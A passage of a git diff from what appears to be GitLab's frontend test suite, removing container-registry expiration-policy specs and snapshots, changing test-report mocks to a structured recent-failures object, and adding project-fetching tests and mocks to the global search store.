+ expect(formOptionsGenerator().olderThan).toBeDefined();
+ expect(formOptionsGenerator().olderThan).toMatchSnapshot();
+ });
+
+ it('returns an object containing cadence', () => {
+ expect(formOptionsGenerator().cadence).toBeDefined();
+ expect(formOptionsGenerator().cadence).toMatchSnapshot();
+ });
+
+ it('returns an object containing keepN', () => {
+ expect(formOptionsGenerator().keepN).toBeDefined();
+ expect(formOptionsGenerator().keepN).toMatchSnapshot();
+ });
+ });
+});
diff --git a/spec/frontend/registry/shared/__snapshots__/utils_spec.js.snap b/spec/frontend/registry/shared/__snapshots__/utils_spec.js.snap
deleted file mode 100644
index 032007bba51..00000000000
--- a/spec/frontend/registry/shared/__snapshots__/utils_spec.js.snap
+++ /dev/null
@@ -1,101 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Utils formOptionsGenerator returns an object containing cadence 1`] = `
-Array [
- Object {
- "default": true,
- "key": "EVERY_DAY",
- "label": "Every day",
- },
- Object {
- "default": false,
- "key": "EVERY_WEEK",
- "label": "Every week",
- },
- Object {
- "default": false,
- "key": "EVERY_TWO_WEEKS",
- "label": "Every two weeks",
- },
- Object {
- "default": false,
- "key": "EVERY_MONTH",
- "label": "Every month",
- },
- Object {
- "default": false,
- "key": "EVERY_THREE_MONTHS",
- "label": "Every three months",
- },
-]
-`;
-
-exports[`Utils formOptionsGenerator returns an object containing keepN 1`] = `
-Array [
- Object {
- "default": false,
- "key": "ONE_TAG",
- "label": "1 tag per image name",
- "variable": 1,
- },
- Object {
- "default": false,
- "key": "FIVE_TAGS",
- "label": "5 tags per image name",
- "variable": 5,
- },
- Object {
- "default": true,
- "key": "TEN_TAGS",
- "label": "10 tags per image name",
- "variable": 10,
- },
- Object {
- "default": false,
- "key": "TWENTY_FIVE_TAGS",
- "label": "25 tags per image name",
- "variable": 25,
- },
- Object {
- "default": false,
- "key": "FIFTY_TAGS",
- "label": "50 tags per image name",
- "variable": 50,
- },
- Object {
- "default": false,
- "key": "ONE_HUNDRED_TAGS",
- "label": "100 tags per image name",
- "variable": 100,
- },
-]
-`;
-
-exports[`Utils formOptionsGenerator returns an object containing olderThan 1`] = `
-Array [
- Object {
- "default": false,
- "key": "SEVEN_DAYS",
- "label": "7 days until tags are automatically removed",
- "variable": 7,
- },
- Object {
- "default": false,
- "key": "FOURTEEN_DAYS",
- "label": "14 days until tags are automatically removed",
- "variable": 14,
- },
- Object {
- "default": false,
- "key": "THIRTY_DAYS",
- "label": "30 days until tags are automatically removed",
- "variable": 30,
- },
- Object {
- "default": true,
- "key": "NINETY_DAYS",
- "label": "90 days until tags are automatically removed",
- "variable": 90,
- },
-]
-`;
diff --git a/spec/frontend/registry/shared/components/__snapshots__/expiration_policy_fields_spec.js.snap b/spec/frontend/registry/shared/components/__snapshots__/expiration_policy_fields_spec.js.snap
deleted file mode 100644
index 2ceb2655d40..00000000000
--- a/spec/frontend/registry/shared/components/__snapshots__/expiration_policy_fields_spec.js.snap
+++ /dev/null
@@ -1,148 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Expiration Policy Form renders 1`] = `
-<div
- class="gl-line-height-20"
->
- <gl-form-group-stub
- id="expiration-policy-toggle-group"
- label="Cleanup policy:"
- label-align="right"
- label-cols="3"
- label-for="expiration-policy-toggle"
- >
- <div
- class="gl-display-flex"
- >
- <gl-toggle-stub
- id="expiration-policy-toggle"
- labelposition="top"
- />
-
- <span
- class="gl-mb-3 gl-ml-3 gl-line-height-20"
- >
- <strong>
- Disabled
- </strong>
- - Tags matching the patterns defined below will be scheduled for deletion
- </span>
- </div>
- </gl-form-group-stub>
-
- <gl-form-group-stub
- id="expiration-policy-interval-group"
- label="Expiration interval:"
- label-align="right"
- label-cols="3"
- label-for="expiration-policy-interval"
- >
- <gl-form-select-stub
- disabled="true"
- id="expiration-policy-interval"
- >
- <option
- value="foo"
- >
-
- Foo
-
- </option>
- <option
- value="bar"
- >
-
- Bar
-
- </option>
- </gl-form-select-stub>
- </gl-form-group-stub>
- <gl-form-group-stub
- id="expiration-policy-schedule-group"
- label="Expiration schedule:"
- label-align="right"
- label-cols="3"
- label-for="expiration-policy-schedule"
- >
- <gl-form-select-stub
- disabled="true"
- id="expiration-policy-schedule"
- >
- <option
- value="foo"
- >
-
- Foo
-
- </option>
- <option
- value="bar"
- >
-
- Bar
-
- </option>
- </gl-form-select-stub>
- </gl-form-group-stub>
- <gl-form-group-stub
- id="expiration-policy-latest-group"
- label="Number of tags to retain:"
- label-align="right"
- label-cols="3"
- label-for="expiration-policy-latest"
- >
- <gl-form-select-stub
- disabled="true"
- id="expiration-policy-latest"
- >
- <option
- value="foo"
- >
-
- Foo
-
- </option>
- <option
- value="bar"
- >
-
- Bar
-
- </option>
- </gl-form-select-stub>
- </gl-form-group-stub>
-
- <gl-form-group-stub
- id="expiration-policy-name-matching-group"
- label-align="right"
- label-cols="3"
- label-for="expiration-policy-name-matching"
- >
-
- <gl-form-textarea-stub
- disabled="true"
- id="expiration-policy-name-matching"
- noresize="true"
- placeholder=""
- trim=""
- value=""
- />
- </gl-form-group-stub>
- <gl-form-group-stub
- id="expiration-policy-keep-name-group"
- label-align="right"
- label-cols="3"
- label-for="expiration-policy-keep-name"
- >
-
- <gl-form-textarea-stub
- disabled="true"
- id="expiration-policy-keep-name"
- noresize="true"
- placeholder=""
- trim=""
- value=""
- />
- </gl-form-group-stub>
-</div>
-`;
diff --git a/spec/frontend/registry/shared/components/expiration_policy_fields_spec.js b/spec/frontend/registry/shared/components/expiration_policy_fields_spec.js
deleted file mode 100644
index bee9bca5369..00000000000
--- a/spec/frontend/registry/shared/components/expiration_policy_fields_spec.js
+++ /dev/null
@@ -1,202 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlSprintf } from '@gitlab/ui';
-import component from '~/registry/shared/components/expiration_policy_fields.vue';
-
-import { NAME_REGEX_LENGTH, ENABLED_TEXT, DISABLED_TEXT } from '~/registry/shared/constants';
-import { formOptions } from '../mock_data';
-
-describe('Expiration Policy Form', () => {
- let wrapper;
-
- const FORM_ELEMENTS_ID_PREFIX = '#expiration-policy';
-
- const findFormGroup = name => wrapper.find(`${FORM_ELEMENTS_ID_PREFIX}-${name}-group`);
- const findFormElements = (name, parent = wrapper) =>
- parent.find(`${FORM_ELEMENTS_ID_PREFIX}-${name}`);
-
- const mountComponent = props => {
- wrapper = shallowMount(component, {
- stubs: {
- GlSprintf,
- },
- propsData: {
- formOptions,
- ...props,
- },
- methods: {
- // override idGenerator to avoid having to test with dynamic uid
- idGenerator: value => value,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders', () => {
- mountComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe.each`
- elementName | modelName | value | disabledByToggle
- ${'toggle'} | ${'enabled'} | ${true} | ${'not disabled'}
- ${'interval'} | ${'olderThan'} | ${'foo'} | ${'disabled'}
- ${'schedule'} | ${'cadence'} | ${'foo'} | ${'disabled'}
- ${'latest'} | ${'keepN'} | ${'foo'} | ${'disabled'}
- ${'name-matching'} | ${'nameRegex'} | ${'foo'} | ${'disabled'}
- ${'keep-name'} | ${'nameRegexKeep'} | ${'bar'} | ${'disabled'}
- `(
- `${FORM_ELEMENTS_ID_PREFIX}-$elementName form element`,
- ({ elementName, modelName, value, disabledByToggle }) => {
- it(`${elementName} form group exist in the dom`, () => {
- mountComponent();
- const formGroup = findFormGroup(elementName);
- expect(formGroup.exists()).toBe(true);
- });
-
- it(`${elementName} form group has a label-for property`, () => {
- mountComponent();
- const formGroup = findFormGroup(elementName);
- expect(formGroup.attributes('label-for')).toBe(`expiration-policy-${elementName}`);
- });
-
- it(`${elementName} form group has a label-cols property`, () => {
- mountComponent({ labelCols: '1' });
- const formGroup = findFormGroup(elementName);
- return wrapper.vm.$nextTick().then(() => {
- expect(formGroup.attributes('label-cols')).toBe('1');
- });
- });
-
- it(`${elementName} form group has a label-align property`, () => {
- mountComponent({ labelAlign: 'foo' });
- const formGroup = findFormGroup(elementName);
- return wrapper.vm.$nextTick().then(() => {
- expect(formGroup.attributes('label-align')).toBe('foo');
- });
- });
-
- it(`${elementName} form group contains an input element`, () => {
- mountComponent();
- const formGroup = findFormGroup(elementName);
- expect(findFormElements(elementName, formGroup).exists()).toBe(true);
- });
-
- it(`${elementName} form element change updated ${modelName} with ${value}`, () => {
- mountComponent();
- const formGroup = findFormGroup(elementName);
- const element = findFormElements(elementName, formGroup);
-
- const modelUpdateEvent = element.vm.$options.model
- ? element.vm.$options.model.event
- : 'input';
- element.vm.$emit(modelUpdateEvent, value);
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('input')).toEqual([
- [{ newValue: { [modelName]: value }, modified: modelName }],
- ]);
- });
- });
-
- it(`${elementName} is ${disabledByToggle} by enabled set to false`, () => {
- mountComponent({ settings: { enabled: false } });
- const formGroup = findFormGroup(elementName);
- const expectation = disabledByToggle === 'disabled' ? 'true' : undefined;
- expect(findFormElements(elementName, formGroup).attributes('disabled')).toBe(expectation);
- });
- },
- );
-
- describe('when isLoading is true', () => {
- beforeEach(() => {
- mountComponent({ isLoading: true });
- });
-
- it.each`
- elementName
- ${'toggle'}
- ${'interval'}
- ${'schedule'}
- ${'latest'}
- ${'name-matching'}
- ${'keep-name'}
- `(`${FORM_ELEMENTS_ID_PREFIX}-$elementName is disabled`, ({ elementName }) => {
- expect(findFormElements(elementName).attributes('disabled')).toBe('true');
- });
- });
-
- describe.each`
- modelName | elementName
- ${'nameRegex'} | ${'name-matching'}
- ${'nameRegexKeep'} | ${'keep-name'}
- `('regex textarea validation', ({ modelName, elementName }) => {
- const invalidString = new Array(NAME_REGEX_LENGTH + 2).join(',');
-
- describe('when apiError contains an error message', () => {
- const errorMessage = 'something went wrong';
-
- it('shows the error message on the relevant field', () => {
- mountComponent({ apiErrors: { [modelName]: errorMessage } });
- expect(findFormGroup(elementName).attributes('invalid-feedback')).toBe(errorMessage);
- });
-
- it('gives precedence to API errors compared to local ones', () => {
- mountComponent({
- apiErrors: { [modelName]: errorMessage },
- value: { [modelName]: invalidString },
- });
- expect(findFormGroup(elementName).attributes('invalid-feedback')).toBe(errorMessage);
- });
- });
-
- describe('when apiErrors is empty', () => {
- it('if the user did not type validation is null', async () => {
- mountComponent({ value: { [modelName]: '' } });
- expect(findFormGroup(elementName).attributes('state')).toBeUndefined();
- expect(wrapper.emitted('validated')).toBeTruthy();
- });
-
- it(`if the user typed and is less than ${NAME_REGEX_LENGTH} state is true`, () => {
- mountComponent({ value: { [modelName]: 'foo' } });
-
- const formGroup = findFormGroup(elementName);
- const formElement = findFormElements(elementName, formGroup);
- expect(formGroup.attributes('state')).toBeTruthy();
- expect(formElement.attributes('state')).toBeTruthy();
- });
-
- describe(`when name regex is longer than ${NAME_REGEX_LENGTH}`, () => {
- beforeEach(() => {
- mountComponent({ value: { [modelName]: invalidString } });
- });
-
- it('textAreaValidation state is false', () => {
- expect(findFormGroup(elementName).attributes('state')).toBeUndefined();
- // we are forced to check the model attribute because falsy attrs are all casted to undefined in attrs
- // while in this case false shows an error and null instead shows nothing.
- expect(wrapper.vm.textAreaValidation[modelName].state).toBe(false);
- });
-
- it('emit the @invalidated event', () => {
- expect(wrapper.emitted('invalidated')).toBeTruthy();
- });
- });
- });
- });
-
- describe('help text', () => {
- it('toggleDescriptionText show disabled when settings.enabled is false', () => {
- mountComponent();
- const toggleHelpText = findFormGroup('toggle').find('span');
- expect(toggleHelpText.html()).toContain(DISABLED_TEXT);
- });
-
- it('toggleDescriptionText show enabled when settings.enabled is true', () => {
- mountComponent({ value: { enabled: true } });
- const toggleHelpText = findFormGroup('toggle').find('span');
- expect(toggleHelpText.html()).toContain(ENABLED_TEXT);
- });
- });
-});
diff --git a/spec/frontend/registry/shared/mock_data.js b/spec/frontend/registry/shared/mock_data.js
deleted file mode 100644
index 411363c2c95..00000000000
--- a/spec/frontend/registry/shared/mock_data.js
+++ /dev/null
@@ -1,12 +0,0 @@
-export const options = [{ key: 'foo', label: 'Foo' }, { key: 'bar', label: 'Bar', default: true }];
-export const stringifiedOptions = JSON.stringify(options);
-export const stringifiedFormOptions = {
- cadenceOptions: stringifiedOptions,
- keepNOptions: stringifiedOptions,
- olderThanOptions: stringifiedOptions,
-};
-export const formOptions = {
- cadence: options,
- keepN: options,
- olderThan: options,
-};
diff --git a/spec/frontend/registry/shared/stubs.js b/spec/frontend/registry/shared/stubs.js
index f6b88d70e49..ad41eb42df4 100644
--- a/spec/frontend/registry/shared/stubs.js
+++ b/spec/frontend/registry/shared/stubs.js
@@ -9,3 +9,23 @@ export const GlCard = {
</div>
`,
};
+
+export const GlFormGroup = {
+ name: 'gl-form-group-stub',
+ props: ['state'],
+ template: `
+ <div>
+ <slot name="label"></slot>
+ <slot></slot>
+ <slot name="description"></slot>
+ </div>`,
+};
+
+export const GlFormSelect = {
+ name: 'gl-form-select-stub',
+ props: ['disabled', 'value'],
+ template: `
+ <div>
+ <slot></slot>
+ </div>`,
+};
diff --git a/spec/frontend/registry/shared/utils_spec.js b/spec/frontend/registry/shared/utils_spec.js
deleted file mode 100644
index edb0c3261be..00000000000
--- a/spec/frontend/registry/shared/utils_spec.js
+++ /dev/null
@@ -1,37 +0,0 @@
-import {
- formOptionsGenerator,
- optionLabelGenerator,
- olderThanTranslationGenerator,
-} from '~/registry/shared/utils';
-
-describe('Utils', () => {
- describe('optionLabelGenerator', () => {
- it('returns an array with a set label', () => {
- const result = optionLabelGenerator(
- [{ variable: 1 }, { variable: 2 }],
- olderThanTranslationGenerator,
- );
- expect(result).toEqual([
- { variable: 1, label: '1 day until tags are automatically removed' },
- { variable: 2, label: '2 days until tags are automatically removed' },
- ]);
- });
- });
-
- describe('formOptionsGenerator', () => {
- it('returns an object containing olderThan', () => {
- expect(formOptionsGenerator().olderThan).toBeDefined();
- expect(formOptionsGenerator().olderThan).toMatchSnapshot();
- });
-
- it('returns an object containing cadence', () => {
- expect(formOptionsGenerator().cadence).toBeDefined();
- expect(formOptionsGenerator().cadence).toMatchSnapshot();
- });
-
- it('returns an object containing keepN', () => {
- expect(formOptionsGenerator().keepN).toBeDefined();
- expect(formOptionsGenerator().keepN).toMatchSnapshot();
- });
- });
-});
diff --git a/spec/frontend/reports/components/grouped_test_reports_app_spec.js b/spec/frontend/reports/components/grouped_test_reports_app_spec.js
index ae2718db17f..66d429017b2 100644
--- a/spec/frontend/reports/components/grouped_test_reports_app_spec.js
+++ b/spec/frontend/reports/components/grouped_test_reports_app_spec.js
@@ -264,7 +264,9 @@ describe('Grouped test reports app', () => {
});
it('renders the recent failures count on the test case', () => {
- expect(findIssueDescription().text()).toContain('Failed 8 times in the last 14 days');
+ expect(findIssueDescription().text()).toContain(
+ 'Failed 8 times in master in the last 14 days',
+ );
});
});
diff --git a/spec/frontend/reports/mock_data/recent_failures_report.json b/spec/frontend/reports/mock_data/recent_failures_report.json
index a47bc30a8e5..bc86d788ee2 100644
--- a/spec/frontend/reports/mock_data/recent_failures_report.json
+++ b/spec/frontend/reports/mock_data/recent_failures_report.json
@@ -10,7 +10,10 @@
"name": "Test#sum when a is 1 and b is 2 returns summary",
"execution_time": 0.009411,
"system_output": "Failure/Error: is_expected.to eq(3)\n\n expected: 3\n got: -1\n\n (compared using ==)\n./spec/test_spec.rb:12:in `block (4 levels) in <top (required)>'",
- "recent_failures": 8
+ "recent_failures": {
+ "count": 8,
+ "base_branch": "master"
+ }
},
{
"result": "failure",
@@ -33,7 +36,10 @@
"result": "failure",
"name": "Test#sum when a is 100 and b is 200 returns summary",
"execution_time": 0.000562,
- "recent_failures": 3
+ "recent_failures": {
+ "count": 3,
+ "base_branch": "master"
+ }
}
],
"resolved_failures": [],
diff --git a/spec/frontend/reports/store/mutations_spec.js b/spec/frontend/reports/store/mutations_spec.js
index 82a399c876d..c1c5862a37c 100644
--- a/spec/frontend/reports/store/mutations_spec.js
+++ b/spec/frontend/reports/store/mutations_spec.js
@@ -46,7 +46,10 @@ describe('Reports Store Mutations', () => {
name: 'StringHelper#concatenate when a is git and b is lab returns summary',
execution_time: 0.0092435,
system_output: "Failure/Error: is_expected.to eq('gitlab')",
- recent_failures: 4,
+ recent_failures: {
+ count: 4,
+ base_branch: 'master',
+ },
},
],
resolved_failures: [
diff --git a/spec/frontend/reports/store/utils_spec.js b/spec/frontend/reports/store/utils_spec.js
index 8977268115e..5249e9ffcce 100644
--- a/spec/frontend/reports/store/utils_spec.js
+++ b/spec/frontend/reports/store/utils_spec.js
@@ -188,9 +188,9 @@ describe('Reports store utils', () => {
describe('countRecentlyFailedTests', () => {
it('counts tests with more than one recent failure in a report', () => {
const report = {
- new_failures: [{ recent_failures: 2 }],
- existing_failures: [{ recent_failures: 1 }],
- resolved_failures: [{ recent_failures: 20 }, { recent_failures: 5 }],
+ new_failures: [{ recent_failures: { count: 2 } }],
+ existing_failures: [{ recent_failures: { count: 1 } }],
+ resolved_failures: [{ recent_failures: { count: 20 } }, { recent_failures: { count: 5 } }],
};
const result = utils.countRecentlyFailedTests(report);
@@ -200,14 +200,17 @@ describe('Reports store utils', () => {
it('counts tests with more than one recent failure in an array of reports', () => {
const reports = [
{
- new_failures: [{ recent_failures: 2 }],
- existing_failures: [{ recent_failures: 20 }, { recent_failures: 5 }],
- resolved_failures: [{ recent_failures: 2 }],
+ new_failures: [{ recent_failures: { count: 2 } }],
+ existing_failures: [
+ { recent_failures: { count: 20 } },
+ { recent_failures: { count: 5 } },
+ ],
+ resolved_failures: [{ recent_failures: { count: 2 } }],
},
{
- new_failures: [{ recent_failures: 8 }, { recent_failures: 14 }],
- existing_failures: [{ recent_failures: 1 }],
- resolved_failures: [{ recent_failures: 7 }, { recent_failures: 5 }],
+ new_failures: [{ recent_failures: { count: 8 } }, { recent_failures: { count: 14 } }],
+ existing_failures: [{ recent_failures: { count: 1 } }],
+ resolved_failures: [{ recent_failures: { count: 7 } }, { recent_failures: { count: 5 } }],
},
];
const result = utils.countRecentlyFailedTests(reports);
diff --git a/spec/frontend/repository/components/preview/__snapshots__/index_spec.js.snap b/spec/frontend/repository/components/preview/__snapshots__/index_spec.js.snap
index e2ccc07d0f2..48a4feca1e5 100644
--- a/spec/frontend/repository/components/preview/__snapshots__/index_spec.js.snap
+++ b/spec/frontend/repository/components/preview/__snapshots__/index_spec.js.snap
@@ -11,7 +11,6 @@ exports[`Repository file preview component renders file HTML 1`] = `
class="file-header-content"
>
<gl-icon-stub
- aria-hidden="true"
name="doc-text"
size="16"
/>
diff --git a/spec/frontend/search/group_filter/components/group_filter_spec.js b/spec/frontend/search/group_filter/components/group_filter_spec.js
deleted file mode 100644
index fd3a4449f41..00000000000
--- a/spec/frontend/search/group_filter/components/group_filter_spec.js
+++ /dev/null
@@ -1,172 +0,0 @@
-import Vuex from 'vuex';
-import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
-import { GlDropdown, GlDropdownItem, GlSearchBoxByType, GlSkeletonLoader } from '@gitlab/ui';
-import * as urlUtils from '~/lib/utils/url_utility';
-import GroupFilter from '~/search/group_filter/components/group_filter.vue';
-import { GROUP_QUERY_PARAM, PROJECT_QUERY_PARAM, ANY_GROUP } from '~/search/group_filter/constants';
-import { MOCK_GROUPS, MOCK_GROUP, MOCK_QUERY } from '../../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(Vuex);
-
-jest.mock('~/flash');
-jest.mock('~/lib/utils/url_utility', () => ({
- visitUrl: jest.fn(),
- setUrlParams: jest.fn(),
-}));
-
-describe('Global Search Group Filter', () => {
- let wrapper;
-
- const actionSpies = {
- fetchGroups: jest.fn(),
- };
-
- const defaultProps = {
- initialGroup: null,
- };
-
- const createComponent = (initialState, props = {}, mountFn = shallowMount) => {
- const store = new Vuex.Store({
- state: {
- query: MOCK_QUERY,
- ...initialState,
- },
- actions: actionSpies,
- });
-
- wrapper = mountFn(GroupFilter, {
- localVue,
- store,
- propsData: {
- ...defaultProps,
- ...props,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- const findGlDropdown = () => wrapper.find(GlDropdown);
- const findGlDropdownSearch = () => findGlDropdown().find(GlSearchBoxByType);
- const findDropdownText = () => findGlDropdown().find('.dropdown-toggle-text');
- const findDropdownItems = () => findGlDropdown().findAll(GlDropdownItem);
- const findDropdownItemsText = () => findDropdownItems().wrappers.map(w => w.text());
- const findAnyDropdownItem = () => findDropdownItems().at(0);
- const findFirstGroupDropdownItem = () => findDropdownItems().at(1);
- const findLoader = () => wrapper.find(GlSkeletonLoader);
-
- describe('template', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders GlDropdown', () => {
- expect(findGlDropdown().exists()).toBe(true);
- });
-
- describe('findGlDropdownSearch', () => {
- it('renders always', () => {
- expect(findGlDropdownSearch().exists()).toBe(true);
- });
-
- it('has debounce prop', () => {
- expect(findGlDropdownSearch().attributes('debounce')).toBe('500');
- });
-
- describe('onSearch', () => {
- const groupSearch = 'test search';
-
- beforeEach(() => {
- findGlDropdownSearch().vm.$emit('input', groupSearch);
- });
-
- it('calls fetchGroups when input event is fired from GlSearchBoxByType', () => {
- expect(actionSpies.fetchGroups).toHaveBeenCalledWith(expect.any(Object), groupSearch);
- });
- });
- });
-
- describe('findDropdownItems', () => {
- describe('when fetchingGroups is false', () => {
- beforeEach(() => {
- createComponent({ groups: MOCK_GROUPS });
- });
-
- it('does not render loader', () => {
- expect(findLoader().exists()).toBe(false);
- });
-
- it('renders an instance for each namespace', () => {
- const groupsIncludingAny = ['Any'].concat(MOCK_GROUPS.map(n => n.full_name));
- expect(findDropdownItemsText()).toStrictEqual(groupsIncludingAny);
- });
- });
-
- describe('when fetchingGroups is true', () => {
- beforeEach(() => {
- createComponent({ fetchingGroups: true, groups: MOCK_GROUPS });
- });
-
- it('does render loader', () => {
- expect(findLoader().exists()).toBe(true);
- });
-
- it('renders only Any in dropdown', () => {
- expect(findDropdownItemsText()).toStrictEqual(['Any']);
- });
- });
- });
-
- describe('Dropdown Text', () => {
- describe('when initialGroup is null', () => {
- beforeEach(() => {
- createComponent({}, {}, mount);
- });
-
- it('sets dropdown text to Any', () => {
- expect(findDropdownText().text()).toBe(ANY_GROUP.name);
- });
- });
-
- describe('initialGroup is set', () => {
- beforeEach(() => {
- createComponent({}, { initialGroup: MOCK_GROUP }, mount);
- });
-
- it('sets dropdown text to group name', () => {
- expect(findDropdownText().text()).toBe(MOCK_GROUP.name);
- });
- });
- });
- });
-
- describe('actions', () => {
- beforeEach(() => {
- createComponent({ groups: MOCK_GROUPS });
- });
-
- it('clicking "Any" dropdown item calls setUrlParams with group id null, project id null,and visitUrl', () => {
- findAnyDropdownItem().vm.$emit('click');
-
- expect(urlUtils.setUrlParams).toHaveBeenCalledWith({
- [GROUP_QUERY_PARAM]: ANY_GROUP.id,
- [PROJECT_QUERY_PARAM]: null,
- });
- expect(urlUtils.visitUrl).toHaveBeenCalled();
- });
-
- it('clicking group dropdown item calls setUrlParams with group id, project id null, and visitUrl', () => {
- findFirstGroupDropdownItem().vm.$emit('click');
-
- expect(urlUtils.setUrlParams).toHaveBeenCalledWith({
- [GROUP_QUERY_PARAM]: MOCK_GROUPS[0].id,
- [PROJECT_QUERY_PARAM]: null,
- });
- expect(urlUtils.visitUrl).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/search/index_spec.js b/spec/frontend/search/index_spec.js
index 8a86cc4c52a..31b5aa3686b 100644
--- a/spec/frontend/search/index_spec.js
+++ b/spec/frontend/search/index_spec.js
@@ -2,8 +2,8 @@ import { initSearchApp } from '~/search';
import createStore from '~/search/store';
jest.mock('~/search/store');
+jest.mock('~/search/topbar');
jest.mock('~/search/sidebar');
-jest.mock('~/search/group_filter');
describe('initSearchApp', () => {
let defaultLocation;
diff --git a/spec/frontend/search/mock_data.js b/spec/frontend/search/mock_data.js
index 68fc432881a..ee509eaad8d 100644
--- a/spec/frontend/search/mock_data.js
+++ b/spec/frontend/search/mock_data.js
@@ -2,6 +2,7 @@ export const MOCK_QUERY = {
scope: 'issues',
state: 'all',
confidential: null,
+ group_id: 'test_1',
};
export const MOCK_GROUP = {
@@ -22,3 +23,25 @@ export const MOCK_GROUPS = [
id: 'test_2',
},
];
+
+export const MOCK_PROJECT = {
+ name: 'test project',
+ namespace_id: MOCK_GROUP.id,
+ nameWithNamespace: 'test group test project',
+ id: 'test_1',
+};
+
+export const MOCK_PROJECTS = [
+ {
+ name: 'test project',
+ namespace_id: MOCK_GROUP.id,
+ name_with_namespace: 'test group test project',
+ id: 'test_1',
+ },
+ {
+ name: 'test project 2',
+ namespace_id: MOCK_GROUP.id,
+ name_with_namespace: 'test group test project 2',
+ id: 'test_2',
+ },
+];
diff --git a/spec/frontend/search/store/actions_spec.js b/spec/frontend/search/store/actions_spec.js
index c8ea6167399..e4536a3e136 100644
--- a/spec/frontend/search/store/actions_spec.js
+++ b/spec/frontend/search/store/actions_spec.js
@@ -1,22 +1,24 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
+import Api from '~/api';
import * as actions from '~/search/store/actions';
import * as types from '~/search/store/mutation_types';
-import { setUrlParams, visitUrl } from '~/lib/utils/url_utility';
-import state from '~/search/store/state';
+import * as urlUtils from '~/lib/utils/url_utility';
+import createState from '~/search/store/state';
import axios from '~/lib/utils/axios_utils';
import createFlash from '~/flash';
-import { MOCK_GROUPS } from '../mock_data';
+import { MOCK_QUERY, MOCK_GROUPS, MOCK_PROJECT, MOCK_PROJECTS } from '../mock_data';
jest.mock('~/flash');
jest.mock('~/lib/utils/url_utility', () => ({
setUrlParams: jest.fn(),
+ joinPaths: jest.fn().mockReturnValue(''),
visitUrl: jest.fn(),
- joinPaths: jest.fn(), // For the axios specs
}));
describe('Global Search Store Actions', () => {
let mock;
+ let state;
const noCallback = () => {};
const flashCallback = () => {
@@ -25,66 +27,97 @@ describe('Global Search Store Actions', () => {
};
beforeEach(() => {
+ state = createState({ query: MOCK_QUERY });
mock = new MockAdapter(axios);
});
afterEach(() => {
+ state = null;
mock.restore();
});
describe.each`
- action | axiosMock | type | mutationCalls | callback
- ${actions.fetchGroups} | ${{ method: 'onGet', code: 200, res: MOCK_GROUPS }} | ${'success'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_SUCCESS, payload: MOCK_GROUPS }]} | ${noCallback}
- ${actions.fetchGroups} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_ERROR }]} | ${flashCallback}
- `(`axios calls`, ({ action, axiosMock, type, mutationCalls, callback }) => {
+ action | axiosMock | type | expectedMutations | callback
+ ${actions.fetchGroups} | ${{ method: 'onGet', code: 200, res: MOCK_GROUPS }} | ${'success'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_SUCCESS, payload: MOCK_GROUPS }]} | ${noCallback}
+ ${actions.fetchGroups} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_GROUPS }, { type: types.RECEIVE_GROUPS_ERROR }]} | ${flashCallback}
+ ${actions.fetchProjects} | ${{ method: 'onGet', code: 200, res: MOCK_PROJECTS }} | ${'success'} | ${[{ type: types.REQUEST_PROJECTS }, { type: types.RECEIVE_PROJECTS_SUCCESS, payload: MOCK_PROJECTS }]} | ${noCallback}
+ ${actions.fetchProjects} | ${{ method: 'onGet', code: 500, res: null }} | ${'error'} | ${[{ type: types.REQUEST_PROJECTS }, { type: types.RECEIVE_PROJECTS_ERROR }]} | ${flashCallback}
+ `(`axios calls`, ({ action, axiosMock, type, expectedMutations, callback }) => {
describe(action.name, () => {
describe(`on ${type}`, () => {
beforeEach(() => {
mock[axiosMock.method]().replyOnce(axiosMock.code, axiosMock.res);
});
it(`should dispatch the correct mutations`, () => {
- return testAction(action, null, state, mutationCalls, []).then(() => callback());
+ return testAction({ action, state, expectedMutations }).then(() => callback());
});
});
});
});
+ describe('getProjectsData', () => {
+ const mockCommit = () => {};
+ beforeEach(() => {
+ jest.spyOn(Api, 'groupProjects').mockResolvedValue(MOCK_PROJECTS);
+ jest.spyOn(Api, 'projects').mockResolvedValue(MOCK_PROJECT);
+ });
+
+ describe('when groupId is set', () => {
+ it('calls Api.groupProjects', () => {
+ actions.fetchProjects({ commit: mockCommit, state });
+
+ expect(Api.groupProjects).toHaveBeenCalled();
+ expect(Api.projects).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('when groupId is not set', () => {
+ beforeEach(() => {
+ state = createState({ query: { group_id: null } });
+ });
+
+ it('calls Api.projects', () => {
+ actions.fetchProjects({ commit: mockCommit, state });
+
+ expect(Api.groupProjects).not.toHaveBeenCalled();
+ expect(Api.projects).toHaveBeenCalled();
+ });
+ });
+ });
+
describe('setQuery', () => {
const payload = { key: 'key1', value: 'value1' };
- it('calls the SET_QUERY mutation', done => {
- testAction(actions.setQuery, payload, state, [{ type: types.SET_QUERY, payload }], [], done);
+ it('calls the SET_QUERY mutation', () => {
+ return testAction({
+ action: actions.setQuery,
+ payload,
+ state,
+ expectedMutations: [{ type: types.SET_QUERY, payload }],
+ });
});
});
describe('applyQuery', () => {
it('calls visitUrl and setParams with the state.query', () => {
- testAction(actions.applyQuery, null, state, [], [], () => {
- expect(setUrlParams).toHaveBeenCalledWith({ ...state.query, page: null });
- expect(visitUrl).toHaveBeenCalled();
+ return testAction(actions.applyQuery, null, state, [], [], () => {
+ expect(urlUtils.setUrlParams).toHaveBeenCalledWith({ ...state.query, page: null });
+ expect(urlUtils.visitUrl).toHaveBeenCalled();
});
});
});
